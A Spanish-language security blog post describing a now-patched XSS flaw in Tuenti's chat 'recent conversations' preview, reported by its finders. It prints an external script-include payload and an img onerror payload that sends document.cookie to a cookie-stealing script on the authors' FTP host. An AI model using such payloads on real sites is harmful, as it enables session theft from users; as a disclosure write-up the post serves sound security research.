Hola amigos!

Aprovechamos las vacaciones para retomar el blog, y lo intentamos hacer con algo interesante ^^

Hace unos días la red social Tuenti nos deleitaba con un nuevo diseño de chat, con nuevos iconos y nuevas funcionalidades como la de Conversaciones recientes. ¿Qué pasa con las cosas nuevas? Al principio siempre tienen algún fallito ;D

Un día, aburrido, nuestro amigo @JKS___ empezó a probar cosas, y se topó con algo interesante.

Si colocamos el cursor encima de una conversación reciente, nos aparece el último mensaje. ¿Qué pasa si enviamos código por el chat? ¡Bingo! Al pasar el cursor por encima se ejecuta:

Comprobango bug

A partir de aquí tenemos un XSS que se ejecuta a la vez en el navegador atacante y el atacado. Lo primero que se nos ocurrió fue lo más sencillo, ya que había una restricción de X caracteres máximos, intentamos incluir un archivo .js externo.

El problema era que el chat detecta URL y se parseaba esa parte, pero sólo el protocolo HTTP, así que con un FTP abierto se podría jugar, algo como:

<script src="ftp://ka0labs.org/virus.js">
Lo que faltaba era que el código javascript no se ejecutaba directamente, había que hacer mano de los eventos.

La investigación termina robando cookies con una redirección del estilo:

</ul><img onerror="location.href='ftp://ka0labs.org/robacookies.php?cookie='+document.cookie" src=""/>

El fallo fue reportado ayer, y hoy jueves ya está parcheado :P

Saludos! :) @xassiz @ca0s_ @kr0no_ @JKS___ @0verflowInside